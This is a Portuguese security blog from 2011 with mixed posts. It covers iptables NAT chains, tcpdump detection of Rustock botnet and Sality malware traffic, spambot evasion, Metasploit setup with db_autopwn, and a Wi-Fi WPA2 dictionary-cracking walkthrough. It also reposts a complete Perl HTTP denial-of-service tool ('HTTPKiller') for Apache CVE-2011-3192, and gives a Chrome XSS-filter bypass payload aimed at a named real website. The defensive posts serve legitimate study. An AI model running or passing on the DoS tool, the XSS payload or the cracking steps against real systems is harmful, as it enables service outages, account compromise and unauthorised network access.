terça-feira, 22 de novembro de 2011

Entendendo IPTABLES: PREROUTING e POSTROUTING


Quando o assunto é firewall logo se pensa em usar um Linux com iptables. O que não falta são tutoriais pela Internet que ensinam como instalar e configurar um firewall no Linux usando o iptables. Infelizmente muita gente se confunde quando o assunto é a chain PREROUTING e POSTROUTING da tabelna NAT do Netfilter.

A proposta deste post é justamente explicar o que acontece com o pacote quando passa por uma dessas chains.


PREROUTING

Logo que o pacote chega ele é modificado, isso acontece antes do roteamento do pacote. É usado em regras de DNAT e Redirecionamento de porta.

Vamos analisar o cenário abaixo, onde estamos fazendo um DNAT, ou seja, toda requisição feita para o IP 200.164.30.20 na porta 80 será repassado para o IP da rede interna 192.168.2.100.



A requisição vem da Internet com destino 200.164.30.20:80.

No nosso firewall a porta 80 esta desabilitada, neste caso o pacote seria “dropado”, mas como temos essa regra de IPTABLES:

iptables -t nat -A PREROUTING -d 200.164.30.20 -p tcp --dport 80 -j DNAT --to 192.168.2.100

Neste caso todo pacote com destino 200.164.30.20:80 será repassado para 192.168.2.100:80, porém isso acontece antes de qualquer roteamento. Veja a figura abaixo que mostra o que acontece logo que o pacote chega no firewall:


Como o nosso firewall conhece a rede 192.168.2.0/24 o pacote será repassado para o IP 192.168.2.100 na porta 80. Note que o roteamento foi o último procedimento realizado. Neste caso não seria lógico realizar o roteamento primeiro já que o DST possui o mesmo IP do firewall (200.164.30.20).


POSTROUTING

Os pacotes precisam ser modificados após o roteamento. É usado em regras de SNAT e IP MASQUERADING.

Neste post vou usar o MASQUERADING para explicar como funciona o POSTROUTING.

Segue abaixo a descrição tirada do FOCALINUX do que seria o MASQUERADING:

“O IP Masquerading é um tipo especial de SNAT usado para conectar a sua rede interna a internet quando você recebe um IP dinâmico de seu provedor”.

Veja o cenário abaixo:



 
A máquina 192.168.2.100 pretende acessar a INTERNET, mas para isso é preciso ter uma regra de MASQUERADING no Firewall, onde o mesmo mascara todo acesso da máquina de origem para que saia para a Internet com o IP do próprio Firewall. A regra do iptables seria assim:


iptables -t nat -A POSTROUTING -s 192.168.2.100 -o eth0 -j MASQUERADE
A requisição vem de uma máquina interna da rede (192.168.2.100) com destino (dst) www.google.com.

Veja a figura abaixo que mostra o que acontece logo que o pacote chega no firewall:


Quando o pacote chegar no Firewall vai ser repassado para o Gateway padrão do Firewall que esta configurado na placa de rede com saída para a Internet. No segundo momento, logo depois do roteamento, o pacote bate na chain POSTROUTING da nossa regra de iptables e o mesmo é modificado para que possa navegar na Internet com um IP válido, no nosso caso o IP do Firewall (200.164.30.20).

É fundamental entender o fluxo do pacote quando o mesmo passa pelo Netfilter, Postrouting e Prerouting são chains que poucos entendem. Espero que com este post as dúvidas possam ter sido esclarecidas sobre o assunto.
 





quinta-feira, 10 de novembro de 2011

Detectando Máquinas que fazem parte da rede Rustock

Recentemente fomos notificados que possíveis máquinas da nossa rede estaria fazendo parte da rede de botnets Rustock (1). Pesquisei pelo Google e encontrei a lista de IP's dos servidores da rede Rustock.

A lista você encontra no link abaixo:

Rustock CnC Servers: http://blog.fireeye.com/research/rustock-cnc-servers.html

Usando o tcpdump pude filtrar todo tráfego com destino aos IP's e salvar o resultado em um arquivo para que posteriormente possa ser analisado, veja o script como ficou:

#!/bin/bash 
tcpdump -nn -i any host 173.192.135.102 or host 173.192.135.98 \
or host 173.192.135.99 or host 173.208.128.50 or host 173.208.128.74 \
or host 173.208.128.82 or host 173.208.131.178 or host 173.208.131.98 \
or host 173.208.141.154 or host 173.208.143.114 or host 173.208.143.122 \
or host 173.208.143.194 or host 173.208.143.90 or host 173.208.150.90 \
or host 173.208.154.90 or host 173.208.162.2 or host 173.208.163.178 \
or host 173.208.163.242 or host 173.212.214.194 or host 173.212.241.42 or host 173.212.241.50 or host 173.212.243.114 \
or host 173.83.26.26 or host 173.83.26.34 or host 174.139.250.66 or host 174.36.237.84 or host 204.12.192.250 \
or host 204.12.217.218 or host 204.12.217.250 or host 204.12.217.42 or host 204.12.217.98 or host 204.12.220.122 \
or host 204.12.237.202 or host 204.12.243.210 or host 204.12.243.34 or host 204.12.243.42 or host 204.12.243.58 \
or host 204.12.248.66 or host 204.45.118.202 or host 204.45.118.250 or host 204.45.119.10 or host 204.45.119.18 \
or host 204.45.119.2 or host 204.45.119.26 or host 204.45.119.34 or host 204.45.119.42 or host 204.45.119.50 \
or host 204.45.119.74 or host 204.45.119.82 or host 204.45.119.90 or host 204.45.121.130 or host 204.45.121.18 \
or host 204.45.121.34 or host 204.45.121.42 or host 204.45.121.50 or host 204.45.121.58 or host 206.217.206.8 \
or host 208.101.27.108 or host 208.101.27.44 or host 208.101.27.72 or host 208.110.71.58 or host 208.110.80.50 \
or host 208.110.82.186 or host 208.43.102.220 or host 208.43.157.96 or host 208.43.17.44 or host 208.43.18.12 \
or host 208.43.31.8 or host 208.43.40.148 or host 64.120.144.69 or host 64.120.149.117 or host 64.120.153.117 \
or host 64.191.18.149 or host 64.191.38.165 or host 64.191.53.37 or host 64.191.59.245 or host 64.22.109.222 \
or host 66.197.161.181 or host 66.197.251.69 or host 66.79.162.138 or host 66.79.162.86 or host 66.79.163.102 \
or host 66.96.214.53 or host 66.96.224.213 or host 67.228.206.92 or host 69.197.144.138 or host 69.197.158.242 \
or host 69.197.158.250 or host 69.197.161.34 or host 69.50.197.191 or host 72.26.196.194 or host 74.86.210.133 \
or host 74.86.210.134 or host 76.164.194.226 or host 85.17.200.13 or host 95.211.128.25 or host 96.0.203.106 \
or host 96.0.203.114 or host 96.0.203.122 or host 96.0.203.82 or host 96.0.203.90 or host 96.0.203.98 or host 96.31.81.44 \
or host 96.45.189.178 or host 96.9.169.53 or host 96.9.180.21 or host 96.9.182.101 or host 96.9.182.197 or host 96.9.183.149 \
or host 98.126.114.50 or host 98.126.42.26 or host 98.126.76.186 or host 98.126.77.2 or host 98.141.220.194 \
or host 98.141.220.226 -w /var/log/rustock.log &

O resultado será salvo no arquivo /var/log/rustock.log. Para ler este arquivo temos que usar o tcpdump e redirecionar a saída para um arquivo:

#tcpdump -r /var/log/rustock.log > /tmp/rustock.txt

Agora já podemos manipular as informações. Dando um cat no arquivo veja o que temos:

13:40:32.613458 IP 10.123.122.254.1436 > ..www: Flags [S], seq 3547421019, win 65535, options [mss 1460,nop,nop,sackOK], length 0

Precisamos filtrar o arquivo para termos só o que nos interessa, o IP. Para isso execute o comando abaixo:

#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d.

Agora temos a lista dos IP's que estão tentando se conectar em um dos servidores do Rustock. Agora vamos usar o comando sort para que não apareça os IP's repetidos:

#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d. | sort -u

Agora temos a lista dos IP's que deverão ser investigados.



Referencia:

(1) http://pt.scribd.com/doc/59395728/Battling-the-Rustock-Threat

terça-feira, 8 de novembro de 2011

Bypass Squid com IPTABLES

Digamos que você tem uma regra redirecionando toda conexão com destino a porta 80 para a porta 3128 (squid):

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128
 
Adicione uma regra de RETURN em cima da regra de REDIRECT para fazer com que todo pacote 
TCP com destino a porta 80 e host www.bypass.com.br pare de passar pela tabela NAT e chain PREROUTING.
 
As regras ficariam assim:
 
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -d www.bypass.com.br -j RETURN
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128 
 
Com essa regra toda requisição feita para o domínio  www.bypass.com.br não passara
pelo squid. 

segunda-feira, 3 de outubro de 2011

Combatendo SPAMBOTS

Um dos mecanismos primários usados pelos “spammers” para coletar e-mails é a utilização do que chamamos de “spambots”, que ficam vasculhando sites em busca de e-mails publicados.

Para que possamos enganar esses sistemas impedindo que e-mails dos Órgãos do Estado caiam nessas listas e diminuir o recebimento de e-mails não desejados (spam) podemos substituir o arroba (@) por {NOSPAM}.

Um e-mail publicado como osvaldo@hotmail.com seria substituído por osvaldo{NOSPAM}hotmail.com. Para ajudar os usuários poderia ser colocado uma mensagem informando para substituir o {NOSPAM} pelo @.

Alguns “spambots” podem buscar pela palavra “mailto:” na tag em HTML em busca de e-mail, para isso basta usar código ASCII, veja o exemplo abaixo:


<a href="mailto:osvaldo@hotmail.com">osvaldo{NOSPAM}hotmail.com</a>

Com ASCII:

Neste caso o “mailto:” foi substituído pelo código ASCII “&#109;&#97;&#105;&#108;&#116;&#111;&#58;”

Essas duas técnicas impediriam que 80% dos e-mails publicados de serem adicionados em lista de spam. Lembrando que os “spambots” estão sempre sendo adaptados para burlar mecanismos de anti-apambots. Abaixo estarei apresentando dois exemplos que são considerados 100% eficientes contra spambots.

Primeiro: escondendo o e-mail em imagens
Crie uma imagem com o e-mail que deseja publicar.

Segundo: utilizando Javascript

<script type='text/javascript'>var a = new Array('com','ail.','ldo@','osva','hotm');document.write("<a href='mailto:"+a[3]+a[2]+a[4]+a[1]+a[0]+"'>"+a[3]+a[2]+a[4]+a[1]+a[0]+"</a>");</script>

Clientes com javascripts desabilitado no browser não verão o e-mail, para contornar este problema basta utilizar as duas técnicas, ficando assim:

<script type="text/javascript">var a = new Array('com','ail.','ldo@','osva','hotm');document.write("<a href='mailto:"+a[3]+a[2]+a[4]+a[1]+a[0]+"'>"+a[3]+a[2]+a[4]+a[1]+a[0]+"</a>");</script>
<noscript><img src="imagem-do-email.gif"></noscript>


fonte: http://www.projecthoneypot.org/how_to_avoid_spambots.php

sexta-feira, 16 de setembro de 2011

Burlando o filtro XSS do Chrome

Quando se trata de segurança, temos que ter em mente que sempre haverá um caminho alternativo para burlar a segurança, basta você descobrir este caminho.

Neste post vou mostrar como Nick Nikiforakis encontrou este caminho alternativo para burlar o sistema de filtro de XSS do Google Chrome.

Este filtro do Chrome impede qualquer tentativa de XSS acessado por você. Vamos fazer dois testes, utilizando o Chore e o Firefox.

A URL abaixo é vulnerável a XSS onde mostra o número 1 em uma janela da pop-up.

Abra a URL abaixo no firefox e depois no Chrome.

http://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E&noMimimumKeywords=false

Perceba que no Firefox o pop-up apareceu, mas no Chrome foi barrado pelo filtro.

A ideia inicial do Nick é não colocar a tag para fechar o JavaScript, com isso o código HTML passou a ser executado dentro do script, mas com erro, até porque o JavaScript não entende HTML. Em seguida ele comentou o código HTML (/* &b=*/) para que o script em java fosse executado, e funcionou.

bypassing XSS filter Chrome:

Agora vamos executar nossa URL nos dois browser usando esse pequeno "trick".

http://www.dsm.com/en_US/cworld/public/home/pages/searchResults.jsp?search-site="><script>alert(1);/*&noMimimumKeywords=*/</script>

Perceba que foi executado tanto no Firefox como no Chrome.

fonte: http://blog.securitee.org/?p=37

Disconnect Stalled SSH Session

Muito boa essa dica:

This doesn't really apply to Windows users as you can just close puTTy. But for everyone else, stalled SSH Sessions suck. You are either slamming enter to get it to realize it's been disconnected or just waiting for it to. Well, for those of us who are impatient just hit:
~.
Thats right, SHIFT + the key above TAB, release, and hit the period. You may have to hit ENTER first to clear the buffer or whatever it does, but do that and it will disconnect the SSH session right away.
Stupid trick, but I use it all the time (especially on shotty MiFi connections).

The ~ is the escape character, similar to Ctrl+A in screen. If you try ~?, you get the following dialogue:
$ ~?
Supported escape sequences:
~. - terminate connection (and any multiplexed sessions)
~B - send a BREAK to the remote system
~C - open a command line
~R - Request rekey (SSH protocol 2 only)
~^Z - suspend ssh
~# - list forwarded connections
~& - background ssh (when waiting for connections to terminate)
~? - this message
~~ - send the escape character by typing it twice
(Note that escapes are only recognized immediately after newline.)
Another very useful trick is to use ~C to open a command line, then use -L or -R to add additional SSH forwarding tunnels without breaking your existing SSH connection.


 fonte: http://www.room362.com/blog/2011/9/15/disconnect-stalled-ssh-session.html

sexta-feira, 9 de setembro de 2011

McAfee Labs - Combating Threats - W32/Sality Virus

Segundo o paper da McAfee chamado Combating Threats - W32/Sality Virus segue abaixo a lista dos domínios que o Sality acessa:


hxxp://89.119.67.154
hxxp://kukutrustnet777.info
hxxp://kukutrustnet888.info
hxxp://kukutrustnet987.info
hxxp://www.kjwre9fqwieluoi.info
hxxp://bpowqbvcfds677.info
hxxp://bmakemegood24.com
hxxp://bperfectchoice1.com
hxxp://bcash-ddt.net
hxxp://bddr-cash.net
hxxp://btrn-cash.net
hxxp://bmoney-frn.net
hxxp://bclr-cash.net
hxxp://bxxxl-cash.net
hxxp://balsfhkewo7i487fksd.info
hxxp://buynvf96.info
1.yimg.com
Us.i1.yimg.com
http:.//ad.yieldmanager.com
mattfoll.eu.interia.pl
bjerm.mass.hc.ru
www.f5ds1jkkk4d.info
www.g1ikdcvns3sdsal.info
www.h7smcnrwlsdn34fgv.info
www.inform1ongung.info
www.kukutrustnet.org
www.lukki6nd2kdnc.info


Com essa informação você pode detectar possíveis máquinas infectadas com o Sality usando o tcpdump ou colocar esses domínios no seu Firewall de borda.


segunda-feira, 5 de setembro de 2011

Instalando e configurando o Mysql para ser usado com o Metasploit 4

Recentemente instalei o Metasploit 4 no Ubuntu 11.04 e para a minha surpresa o suporte do banco de dados não vem habilitado por padrão. Creio que em outros posts já mostrei como fazer isso, apesar de estar sendo um pouco repetitivo tenho certeza que este post vai ajudar muita gente. Vou mostrar como instalar e configurar o Mysql para ser usado pelo Metasploit 4, estarei usando o Ubuntu 11.04.

Passo 1: Baixe o Metasploit 4

link para download (http://www.metasploit.com/download/)

baixe a versão para Linux que diz assim:

Full Setup Includes dependencies,
Console 2, Java & Postgres

Passo 2: Instalando

Dê permissão de execução para o arquivo:

#chmod +x framework-4.0.0-linux-full.run

Agora instale o metasploit:

#./framework-4.0.0-linux-full.run

Instale as dependencias para o ruby:

#apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems

Passo 3: Instalando o Mysql

#apt-get install mysql-server

Vai pedir a senha do banco, para este post vou colocar 123456 como senha.

#apt-get install rubygems libmysqlclient-dev
#gem install mysql

Configure para que o Metasploit ao iniciar se conecte no mysql:

#cat > ~/.msf4/msfconsole.rc
db_driver mysql
db_connect root:123456@127.0.0.1:3306/msf_database



Pronto agora temos nosso Metasploit 4 rodando e com o suporte ao banco de dados Mysql.

Agora podemos usar o db_nmap e o db_autopwn.

exemplo:

msf > db_nmap -n -sV 192.168.1.1
msf > db_autopwn -p -t -e -r

Simple like a hacker day with skills.


by Osvaldo

quinta-feira, 1 de setembro de 2011

Apache < 2.2.20 vulneravel a DoS (CVE-2011-3192)


O servidor web Apache versões abaixo da 2.2.20 esta vulneravel a DoS (multiple ranges DoS). Esta vulnerabilidade tem o CVE ID CVE-2011-3192. Já foi publicado um simples código em perl que explora essa vulnerabilidade, consumindo CPU e memória do servidor.

Segue abaixo o código em perl para explorar essa vulnerabilidade:


# HTTPKiller - FHTTP Kit by Xianur0
# Copyright (C) 2011 Oscar García López (http://hackingtelevision.blogspot.com)
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see .
#  
#    xianur0.null@gmail.com
#    http://hackingtelevision.blogspot.com/

package control;

my $ip;


sub new {
    my ($class,$i) = @_;
    $ip = $i;
    my $self={};
    $ip = $i;
    bless $self, $class;
    return $self;
}

sub mas {
my ($self,$veces) = @_;
$veces = 1 if($veces eq "");
my ($a,$e,$o,$b) = split(/\./,$ip);
for($as=0;$as<$veces;$as++) {
$b++;
if($b>=255) {$b=0;$o++;}
if($o>=255) {$o=0;$e++;}
if($e>=255) {$e=0;$a++;}
die("No mas IPs!\n") if($a>=255);
}
$ip = join "",$a,".",$e,".",$o,".",$b;
return $ip;
}

1;

package main;

use Socket;
use IO::Socket::INET;
use threads ('yield',
'exit' => 'threads_only',
'stringify');
use threads::shared;

my $ua = "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0";
my $method = "HEAD";
my $hilo;
my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
my $randsemilla = "";
for($i = 0; $i < 30; $i++) {
$randsemilla .= $vals[int(rand($#vals))];
}
sub socker {
my ($remote,$port) = @_;
my ($iaddr, $paddr, $proto);
$iaddr = inet_aton($remote) || return false;
$paddr = sockaddr_in($port, $iaddr) || return false;
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto);
connect(SOCK, $paddr) || return false;
return SOCK;
}


sub sender {
my ($max,$puerto,$host,$file) = @_;
my $sock;
while(true) {
my $paquete = "";
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp');
unless($sock) {
print "\n[x] Unable to connect...\n\n";
sleep(1);
next;
}
for($i=0;$i<$porconexion;$i++) {
$ipinicial = $sumador->mas();
my $filepath = $file;
$filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
$paquete .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
}
$paquete =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
print $sock $paquete;
}
}

sub sender2 {
my ($puerto,$host,$paquete) = @_;
my $sock;
my $sumador :shared;
while(true) {
$sock = &socker($host,$puerto);
unless($sock) {
print "\n[x] Unable to connect...\n\n";
next;
}
print $sock $paquete;
}
}

sub comenzar {
$SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
$url = $ARGV[0];
print "URL: ".$url."\n";
$max = $ARGV[1];
$porconexion = $ARGV[2];
$ipfake = $ARGV[3];
if($porconexion < 1) {
print "[-]Invalid arg 3...\n";
exit;
}
if($url !~ /^http:\/\//) {
die("[x] Invalid URL!\n");
}
$url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
$puerto = 80;
($host,$puerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
$file =~ s/\s/%20/g;
print join "","[!] Launching ",$max," threads!\n";
$file = "/".$file if($file !~ /^\//);
print join "","Target: ",$host,":",$puerto,"\nPath: ",$file,"\n\n";
# entonces toca un paquete unico, no tiene caso que se genere por cada hilo :)...
if($ipfake eq "") {
# envio repetitivo
my $paquetebase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
$paquetesender = "";
$paquetesender = $paquetebase x $porconexion;
$paquetesender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
for($v=0;$v<$max;$v++) {
$thr[$v] = threads->create('sender2', ($puerto,$host,$paquetesender));
}
} else {
# envio con ip...
$sumador = control->new($ipfake);
for($v=0;$v<$max;$v++) {
$thr[$v] = threads->create('sender', ($porconexion,$puerto,$host,$file));
}
}
print "[-] Launched!\n";
for($v=0;$v<$max;$v++) {
if ($thr[$v]->is_running()) {
sleep(3);
$v--;
}
}
print "Fin!\n";
}


if($#ARGV > 2) {
comenzar();
} else {
die("Use: mn.pl [url] [Connections] [Requests per connection] [Initial false IP (optional)]\n");
}

Tenha consciência dos seus atos.

by Osvaldo




Load Balancing Apache Server

Os vídeos e posts do Network NUTS são excelentes, já sou fã desses caras. Segue um vídeo interessante sobre Load Balancing.



Take this - I have more than one APACHE server. I I want to have load balancing between my apache servers. So whenever a HTTP/HTTPS request comes in, the request should be forwarded to all apache servers in a distributed manner. And also I want to hide my apache server IP from Internet and Intranet. 

How to do this?

Welcome - POUND.

1. Pound is a reverse proxy load balancing server. 

2. It takes the request from HTTP/HTTPS clients and distribute them to one or more web servers.

3. It can detect when the backend server (actual apache server) fails / recovered and take decision accordingly.

4. Priority can be set. Default is 5. Range is 1 - 9. 

5. Higher priority servers are used more.

Consider this picture:


pound .jpeg
Pound Gateway used for Load Balancing between Apache Servers


Here I want my Pound Gateway running on 172.24.0.254 should distribute the HTTP/HTTPS requests to two hidden APACHE servers running on 172.24.0.10 and 172.24.0.11 and further I want more requests to be catered by 172.24.0.10 as it is having a better hardware as compared to 172.24.0.11.

STEP #1 - Install Pound on 172.24.0.254 - You can easily download "pound" from Internet.

STEP #2 - Configure the main configuration file for pound "/etc/pound.cfg", as shown:


pound2.jpeg
Pound configuration showing load balancing between two apache servers.


STEP #3 - After the configuration is done, just restart the "pound" service.


Enjoy.

God Bless.


by alok on Mon Apr 05, 2010 11:36 am


fonte: http://networknuts.net/forum/viewtopic.php?f=3&t=256&sid=e0fbdbf9c21050d0392192c987e7b6d9


terça-feira, 30 de agosto de 2011

Explorando senhas fracas com o protocolo WPA2 usando o aircrack-ng

Angelo Mota Barbosa, Manoel Davi da Costa Meireles e Osvaldo Holanda Peixoto.

Resumo.  A segurança nas redes sem fio ainda é encarada como um requisito passivo a questionamento, e medidas abordadas para garantir a integridade das informações estão sendo gradativamente aplicadas, dentre elas dá-se uma atenção especial para os protocolos WEP (Wired Equivalency Privacy), WPA/WPA2 (Wi-Fi Protected Access), apesar de alguns destes protocolos já terem suas falhas conhecidas ainda sim, devem ser aplicados como mais uma alternativa de segurança. Este estudo teórico e prático pretende realizar uma análise sobre a vulnerabilidade do protocolo de encriptação do WPA, analisando seus paradigmas e suas diferenças.

1.      INTRODUÇÃO

O padrão WPA (Wi-Fi Protected Access) é o sucessor do protocolo WEP. Desenvolvido pela Wi-Fi Alliance, serviu como uma correção temporária para as vulnerabilidades conhecidas no WEP até o IEEE disponibilizar o padrão 802.11i (WPA2).

O 802.11i é o padrão IEEE oficial, que incorpora as correções implementadas no WPA para as vulnerabilidades do WEP e outros mecanismos de autenticação para proteger ainda mais as redes sem fio.

A maior diferença entre o WPA2 e WPA é o tipo de criptografia usado, onde no WPA2 usa-se AES e RC4 no WPA, e o protocolo utilizado para a confidencialidade e integridade, onde no WPA2 usa-se CCMP e TKIP no WPA.

Tanto o WPA como o WPA2 podem ser executados no modo home ou enterprise. Modo home significa que o AP e todos os clientes estão usando uma chave pré-compartilhada (PSK), já no modo enterprise significa que a organização está usando um servidor RADIUS para autenticação. Apesar do nome (enterprise, significa empresa em português), muitas empresas usam o modo PSK (home), porque é muito mais fácil de implantar.

Neste artigo estaremos mostrando como é possível atacar uma rede sem fio que esteja usando o protocolo WPA2-PSK com a utilização de um dicionário. É possível usar também o John The Ripper para quebrar a senha, mas para este artigo estaremos abordando a utilização de um dicionário com o pacote de ferramenta aircrack-ng.

Iremos utilizar o BackTrack -  distribuição com foco em testes de segurança e testes de penetração – que já vem com a suíte de ferramenta aircrack-ng no repositório oficial da distro.

Quando se trata de WPA/WPA2 a chave pré-compartilhada pode ser de 8 a 63 caracteres de comprimento, com isso torna-se quase “impossível” para quebrar essa chave, dificultando ainda mais se essa chave for composta de símbolos especiais. A única vez que você pode quebrar a chave pré-compartilhada é se a mesma for uma palavra de dicionário ou relativamente curto de comprimento. Neste artigo não estaremos considerando o tamanho e nem a complexidade da chave, já que a mesma pertence ao nosso dicionário, sendo assim não fazendo diferença se a chave é “minharede” ou “Mi@nH@r$d&”.

Para que possamos disparar um ataque com base em dicionário é necessário primeiramente capturar o que chamamos de four-way handshake entre o cliente e o AP. O objetivo do four-way handshake é autenticar o cliente e o ponto de acesso, onde o processo de autenticação é realizado durante o four-way handshake.

O que é preciso para este ataque?

- sua placa de rede sem fio possa injetar pacotes
- capturar 4 way handshake
- usar o aircrack-ng

Passo 1: Configurando no Modo Monitor

Para que você possa injetar pacotes é necessário que a placa de rede sem fio esteja no modo Monitor, para isso estaremos usando o comando airmon-ng, veja a figura abaixo:


Veja que foi detectado a placa de rede wlan0, agora precisamos colocar nossa placa em modo Monitor, para isso execute o comando conforme mostra a figura abaixo:



Veja que o airmon-ng criou uma nova placa chamada mon0 e esta por sua vez esta no modo Monitor, é essa placa que iremos usar a partir deste momento.

Passo 2: Listando as redes sem fio ao alcance

Para que possamos direcionar nosso ataque precisamos coletar algumas informações que são de extrema importância como o BSSID (endereço MAC do AP), CH (canal sendo usado), ESSID (nome da rede) e o STATION (endereço MAC do cliente). O comando airodump-ng serve para capturar pacotes de rede sem fio para que possa ser usado posteriormente com o aircrack-ng ou outra ferramenta do tipo. O  comando abaixo permite que analisemos somente o tráfego que esteja usando WPA:
  
#airodump-ng --encrypt wpa mon0



Dica:

Para agilizar o ataque podemos salvar todas essas informações como variáveis de ambiente, digamos que coletamos as informações abaixo na saída do airodump-ng:

BSSID=00:18:6e:9b:d9:80
STATION=00:11:22:33:44:55
ESSID=linksys

Vamos criar um script em shell e executaremos esse script toda vez que abrirmos um terminal, veja o script abaixo que chamamos de variaveis.sh:
#!/bin/bash
export BSSID=00:18:6e:9b:d9:80
export STATION=00:11:22:33:44:55
export ESSID=linksys

Com isso o comando: aireplay-ng -1 0 -a 00:18:6e:9b:d9:80 -h 00:11:22:33:44:55 -e linksys mon0

Poderia ser executado desta forma: aireplay-ng -1 0 -a $BSSID -h $STATION -e $ESSID mon0

Passo 3: Capturando 4 way handshake

Como dito anteriormente é necessário capturar o que chamamos de 4 way handshake entre o cliente e o AP e salvar em um arquivo para que depois possa ser usado pelo aircrack-ng. O comando a seguir salvara todo o tráfego entre o cliente e o AP no arquivo que chamaremos de psk-handshake.cap:

# airodump-ng -w psk-handshake.cap -c 6 --bssid $BSSID mon0



Precisamos forçar o cliente a se autenticar novamente para que possamos com isso capturar o 4 way handshake. Abra um novo terminal, não feche o terminal que esta rodando o comando anterior, vamos usar o comando aireplay-ng para isso, veja a figura abaixo:


Passo 4: Time to crack

Temos o nosso arquivo com o 4 way handshake (psk-handshake.cap), agora precisamos de um dicionário para usar com o aircrack-ng. Vamos criar um dicionário simples com 10 palavras, sendo que uma dessas palavras é a chave. Agora é só executar o comando:

#aircrack-ng psk-handshake.cap -w dicionario


Conclusão

— WEP  protocolo ultrapassado;
— WPA corrige vulnerabilidade do WEP;
— WPA2 (802.11i) versão Oficial da Wifi Alliance;
— Senhas fracas, é possivel quebrar no WPA2;
— Use WPA2 com senhas fortes;
— Variedades de ferramentas para quebrar o WPA2
aircrack-ng
coWPAtty



REFRENCIA








Análise de Tráfego no Xplico utilizando arquivo pcap gerado pelo tcpdump

Artigo sobre: Análise de Tráfego no Xplico utilizando arquivo pcap gerado pelo tcpdump



Angelo Mota Barbosa, Davi Meirelles e Osvaldo Holanda Peixoto.

Resumo. Este artigo apresenta uma análise previa do tráfego de uma rede de computadores usando Xplico com um arquivo salvo anteriormente utilizando a ferramenta tcpdump. Atualmente, a ferramenta tcpdump não possui uma interface amigável dificultando muito em casos de análise em tráfegos intensos. A utilização do Xplico facilita muito a vida de qualquer administrador de sistemas permitindo por meio de acesso WEB obter e analisar o tráfego que estará dividido por categoria.


1. Introdução
O Xplico extrai de um arquivo pcap ou pode fazer a mesma analise em tempo real informações como: email (POP, IMAP e SMTP), HTTP, VoIP (SIP e RTP), FTP, TFTP etc. Considerado pelos seus desenvolvedores um NFAT -  Network Forensic Analysis Tool e não um analisador de protocolo de rede, vem sobre a licença GPL e é open source. Neste artigo estaremos analisando o tráfego salvo em um arquivo pcap utilizando a ferramenta tcpdump, à análise em tempo real utilizando o Xplico não está em um nível de maturidade aceitável, sendo apenas interessante em um espaço curto de tempo e em redes de pequeno porte, por motivos de demonstração que a equipe de desenvolvedores adicionou essa funcionalidade no Xplico.
O Xplico é um sistema de 4 componentes:

Ø  DeMa: é o gerenciador de decodificação
Ø  Xplico: decodificador IP
Ø  Um conjunto de manipuladores de dados
Ø  Um sistema de visualização dos dados


No site oficial você pode ver os screenshots do XI (Xplico Interface), que é a ferramenta web de visualização do Xplico. Segue abaixo alguns screenshots:






Iremos utilizar o BackTrack -  distribuição com foco em testes de segurança e testes de penetração – que já vem com o Xplico no repositório oficial da distro. O Xplico vem por padrão também na distro Deft que é um live CD para analise forensic.

No BTR2 (BackTrack 4 Release 2) o Xplico já veio instalado, qualquer problema é só usar a ferramenta aptitude para instalar o pacote. Abaixo segue o procedimento para iniciar o Xplico:

1 - Inicie o Apache2
/etc/init.d/apache2 start
2 - Inicie o Xplico
/etc/init.d/xplico start

Obs: o serviço estará escutando na porta 9876 de loopback (127.0.0.1)

Execute o Firefox e coloque como URL: http://127.0.0.1:9876

Por padrão temos dois usuários no sistema para acessar o Xplico: o xplico com senha xplico e o admin com senha xplico. Neste artigo estaremos analisando um arquivo pcap de 30MB, para salvar este arquivo utilizei o comando tcpdump como mostra abaixo:

# tcpdump -i eth0 -vvv -s0 -S -XX -A -w saida.pcap

